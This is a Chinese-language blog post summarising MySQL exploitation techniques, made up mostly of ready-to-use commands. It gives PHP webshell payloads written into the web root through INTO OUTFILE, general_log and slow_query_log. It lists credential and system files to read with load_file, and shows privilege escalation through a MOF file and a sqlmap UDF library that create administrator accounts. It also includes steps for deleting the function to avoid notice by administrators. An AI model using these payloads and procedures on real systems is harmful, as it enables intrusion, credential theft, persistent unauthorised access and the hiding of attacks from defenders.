MySQL利用总结

本文最后更新于:几秒前

一、 写入Shell

  1. Select into outfile (需要有Root权限)

    此方式必须具有Root权限. select xx into outfile filename原本是用于快速导出某个表中的数据. 利用此方式,我们可以将查询语句修改为如下形式,将Webshell 导出到Web目录下.

    Select '<?php eval($_POST[command])?> into outfile /var/www/html/shell.php'

但是执行此语句时,可能会出现如下问题:

  • 权限不足

    此语句必须使用Root权限执行,否则会出现以下提示:Access denied for user 'test'@'localhost' (using password: YES)

  • Secure_file_priv 限制

    使用show variables like '%secure%';来查看secure_file_priv 参数限制.

    参数值 说明
    null 表示Mysql不允许导入或导出
    /tmp/ 表示Mysql导入导出只能在/tmp下面
    空值 表示Mysql不对导入导出做限制
  1. 使用general_log 写入Shell (需要有Root权限)

    打开general log之后,所有的查询语句都可以在general log文件中以可读的方式得到,但是这样general log文件会非常大,所以默认都是关闭的.

    有的时候为了查错等原因,还是需要暂时打开general log的。换句话说general_log_file会记录所有的查询语句,以原始的状态来显示,在每一次更改general log file的时候mysql都会判断日志文件是否存在,如果不存在则会自动创建. 如果我们将日志文件设定为网页可执行文件,那么查询操作将会将全部写入到指定的文件,通过访问该文件,即可获得WebShell.

    默认配置如下:

    image-20220414151029602

​ 可以看到默认配置将general_log关闭,文件的位置是一个明确的日志文件,由于我们拥有Root权限,所以只需要修改配置,即可解除这些限制.

1
2
3
4
SET global general_log='on';
SET global general_log_file='/var/www/html/shell.php';
#完成以上配置后,只需要执行如下SQL,即可获得webshell.
SELECT '<?php assert($_POST["cmd"]);?>';

image-20220414151622739

  1. 使用慢查询日志写入Webshell

    慢查询日志:记录所有执行时间超过long_query_time秒的所有查询或者不使用索引的查询。默认情况下,MySQL数据 库是不开启慢查询日志的,long_query_time的默认值为10(即10秒,通常设置为1秒),即运行10秒以上 的语句是慢查询语句。

    利用前提需要具有Root权限,secure_file_priv没有具体值.

    使用show variables like '%slow%';来查看慢查询日志的具体配置.
    image-20220414153836558

使用如下语句开启慢查询日志.

1
2
3
4
set GLOBAL slow_query_log=on;
set global slow_query_log_file = '/var/html/www/shell.php';
# 开启后执行如下sql,即可写入Webshell
select '<?php eval($_POST["command"]);?> ' or sleep(11);

二、 读取文件

load_file() 的作用是读取文件的内容,并将文件内容以字符串的形式返回,这个函数在渗透的过程中尤其的好用,但是这个函数的使用依然受到权限的限制以及 secure_file_Priv 的限制.

Windows 下常见敏感文件路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
c:/boot.ini //查看系统版本 
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

Linux 下常见敏感文件路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件 
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

三、 提权

Mysql 提权的必要条件: 具有MySQL的root权限,且MySQL以system权限运行,具有执行SQL语句的权

  1. MOF提权

    利用了C:\Windows\System32\wbem\MOF目录下的nullevt.mof文件,利用该文件每分钟会去执行一次的特性,向该文件中写入cmd命令,就会被执行. 一般只用于Windows系统且低版本可用,例如windows xp,windows server 2003之类.此外还需要有对C:\Windows\System32\wbem\MOF目录读写的权限.

​ 方法:

  • 在可写目录中上传mof文件。

  • 把这个文件复制到C:/Windows/System32/wbem/MOF/nullevt.mof目录下,可使用load_file 配合 into dumpfile 来实现.

    MOF 文件示例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    # pragma namespace("\.\root\subscription")
    instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2"; Query = "Select * From InstanceModificationEvent "
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
    };
    instance of ActiveScriptEventConsumer as $Consumer
    {
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
    };
    instance of __FilterToConsumerBinding
    {
    Consumer = $Consumer;
    Filter = $EventFilter;
    };
  1. UDF提权
    UDF(User Defined Funtion)用户自定义函数,通过添加新的函数,对mysql服务器进行功能扩充。

​ 使用前提:

Windows:

​ 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的MySQL\Lib\Plugin\文件夹下,该目录默认是不存在的,需 要使用webshell找到mysql的安装目录,并在安装目录下创建MySQL\Lib\Plugin\文件夹,然后将udf.dll导入到该目录。

​ 如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:/windows/system32/目录,在windows server 2000 下放置在c:/winnt/system32/目录。

Linux:

​ 在my.ini的[mysqld]下,添加secure_file_priv=””,不限制导入导出路径

​ 具有数据库root账户的密码,且mysql数据库以root权限运行

​ 具有sql语句的执行权限

​ 导出目录可写

​ 系统中的selinux处于关闭状态

​ Windows步骤:

  • sqlmap/data/udf/mysql目录下,在Windows目录中有32位和64位的dll文件(MySQL位数)。

​ 文件夹中的dll文件是通过异或编码的,可以使用sqlmap/extract/cloak.py进行解码python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_

  • 将解码后的DLL文件(包含用户自定义函数的DLL文件)上传到可写目录,再导入到MySQL\lib\plugin\
1
select LOAD_FILE('C:/可写目录/lib_mysqludf_sys.dll') into dumpfile 'C:/phpStudy2016/MySQL/lib/plugin/lib_mysqludf_sys.dll';
  • 将DLL中的函数引入到MySQL数据库中

  • 创建自定义函数create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

​ 创建名为sys_eval的函数,返回值为string类型,调用的文件是lib_mysqludf_sys.dll

​ 注意:需要创建.dll文件中存在的函数,可以使用十六进制编辑器打开.dll文件,查看可以被创建的函数。

  • 使用该函数去执行系统命令提权

​ 查看当前用户权限

select sys_eval("whoami");

​ 创建账号并提升为管理员权限

select sys_eval("net user winhex passw@ord /add");

select sys_eval("net localgroup administrators winhex /add");

  • 将之前引入的函数删除掉,防止被管理员发现,防止其他攻击者使用

drop function sys_eval;

delete from mysql.func where name='sys_eval';

​ Linux 步骤:

  • 查找插件库的路径

show variables like '%plugin%';

​ 得到的结果为:

Variable_name Value
plugin_dir /usr/lib64/mysql/plugin
  • 找到对应操作系统数据库的UDF库文件

sqlmap-master\data\udf\mysql\linux\64下的lib_mysqludf_sys.so_文件

  • 将so文件(UDF库文件)进行16进制编码

  • 将so文件的内容解码,写入到mysql插件库目录中

select unhex('so文件的16进制编码') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'

  • 查看udf库所支持的函数

​ 注意:需要创建.so文件中存在的函数,可以使用十六进制编辑器打开.so文件,查看可以被创建的函数。

  • 创建函数

​ 写入之后,执行创建函数的命令,就会创建一个sys_eval的函数,用来执行系统命令,这个函数执行的系统命令全部都是system权限。

create function sys_eval returns string soname 'xxx.so';

  • 执行系统命令,提权

sys_eval这个函数就可以执行系统命令,括号里输入系统命令即可。

  • 查看当前用户权限

select sys_eval("whoami");


MySQL利用总结
https://blog.icansudo.top/2020/04/23/MySQL利用总结/
作者
odin
发布于
2020年4月23日
许可协议